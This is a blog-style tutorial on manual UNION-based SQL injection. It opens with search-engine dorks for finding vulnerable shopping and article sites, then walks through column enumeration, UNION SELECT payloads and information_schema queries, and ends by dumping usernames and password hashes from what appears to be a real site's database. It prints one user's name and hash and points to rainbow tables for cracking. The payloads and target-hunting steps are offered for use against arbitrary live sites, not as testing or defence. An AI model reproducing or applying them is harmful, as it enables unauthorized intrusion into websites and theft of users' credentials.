In this post we will explain the basics of an SQL injection attack.
To do this, instead of using a pentesting tool such as “sqlmap”, we will explain a step by step SQL attack by doing it manually.
SQL injection attacks can use different methods. In our case we will use the “UNION SELECT” method since it is the most basic, effective and the only one that can be done manually through the browser.
The first step will be to find a page vulnerable to an SQL injection attack. For this we can use search engines like Google, DuckDuck Go, etc and use any of the following dorks:
- inurl:”?id=”
- inurl:”?item=”
- inurl:”?product=”
- inurl:”?article=”
- inurl:”?id=” intext:”add to cart”
- inurl:”?id=” intext:”buy now”
With these dorks we will find lot of websites running PHP and MySQL/MariaDB.
The next step is to go to the different websites and try to modify the PHP parameter to provoke an SQL exception. Normally, putting the character (‘) is enough to provoke an SQL exception.
If the website shows an exception similar to the one in the image, it is likely to be vulnerable to some of the SQL injection techniques.
If in addition, the error is showed in the content of the website like this image, the website is a good candidate to be vulnerable to an attack of the UNION SELECT type.
The MySQL exception itself gives us information about the SQL statement. We know that the sentence is:
1 |
SELECT columns FROM table WHERE (id=24) AND (number.number_id = article.number_id) |
The next step is to check if the parameter is really injectable. For this we can try various tricks.
- article=25-1
If the website shows the content of article=24 means that the SQL statement is doing the subtraction that we have put in the parameter.
- article=24 AND 1=1
If the website shows the content of article=24 means that the SQL statement is executing the AND operator. So the parameter is clearly injectable 🙂
Our target is get this sentence executed on the server:
1 |
SELECT columns FROM table WHERE id=24 UNION SELECT <injected code> |
1 Extract the number of columns in the current SQL query
We must find out the number of columns in order to use the UNION statement that will allow us to execute another additional SELECT statement that we want.
NOTE: Remember that UNION statement in SQL, both SELECT statements must select the same number of columns.
To do this we are going to make a try and error mechanism with the ORDER BY statement:
1 2 3 4 5 6 7 8 |
SELECT columns FROM table ORDER BY 1 --Order results by column 1 SELECT columns FROM table ORDER BY 2 --Order results by column 2 SELECT columns FROM table ORDER BY 3 --Order results by column 3 SELECT columns FROM table ORDER BY 4 --Order results by column 4 SELECT columns FROM table ORDER BY 5 --Order results by column 5 SELECT columns FROM table ORDER BY 6 --Order results by column 6 SELECT columns FROM table ORDER BY 7 --Order results by column 7 [...] |
We will increase the number until we get an error that the column we want to order does not exist. The parameter in the URL should look like this until we got the error:
NOTE: Comments in MySQL are preceded by “–” so we put them at the end of the parameter to prevent the rest of the sentence from being executed:
1 2 3 4 |
php?article=24) ORDER BY 1-- php?article=24) ORDER BY 2-- php?article=24) ORDER BY 3-- [...] |
2 See which columns are injectable
We got that the SQL query is retrieving 27 columns. Now we can perform the following UNION SELECT sentence where the second SELECT put a hardcoded number in each of the 27 columns.
1 |
php?article=24) UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 ORDER BY 1-- |
With this sentence, we are requesting one more row to the query where returned values are: 1,2,3,4,5,6,etc.
After load this query on the URL, we must search visual elements of the website where we can identify the hardcoded numbers. In this case, we can appreciate the columns 15, 16 and 17 are being displayed:
Just to make sure, we can replace 15 with 555, 16 with 666 and 17 with 777 on the query and see if they change:
1 |
php?article=24) UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,555,666,777,18,19,20,21,22,23,24,25,26,27 ORDER BY 1-- |
We got it! 🙂 Now we can execute SQL queries on those columns and the website will display the result of that queries.
3 Inject the SQL code on vulnerable columns
Now, we can try to execute a simple SQL command like “database()” which returns the name of the current database. We can use for example column 15 that was vulnerable in order to inject there the code:
1 |
.php?article=24) UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,database(),666,777,18,19,20,21,22,23,24,25,26,27 ORDER BY 1-- |
Now, we can replace “database()” with the following query in order to get the name of all tables of the database:
1 |
(select group_concat(table_name) from information_schema.tables where table_schema='palesti2_1') |
NOTE: We must use “group_concat” function in order to get all the results on the same line
We can see that table “user” is very likely to contain sensitive information. We can replace the last query with the following in order to get the name of all columns of table “user”:
1 |
(select group_concat(column_name) from information_schema.columns where table_schema='palesti2_1' and table_name='user') |
Finally, we can extract information of table “user” since we got the name of the columns. Specifically we are interested in the columns “username” and “password”. We execute the following query:
1 2 3 4 5 |
(select concat_ws('{%}',username,password) from user limit 0,1) (select concat_ws('{%}',username,password) from user limit 1,1) (select concat_ws('{%}',username,password) from user limit 2,1) (select concat_ws('{%}',username,password) from user limit 3,1) [...] |
NOTE: We must use the “concat_ws” function to use a separator to help us distinguish the different fields. We must use “limit” function to retrieve only one record of the table in each query.
We got it!! 🙂
User: leena / Password (MD5) = 61cf252373c5acfa
Now we have the usernames and their passwords (in MD5 hash format). To crack password hashes, we can use online rainbow tables tools like:
Good post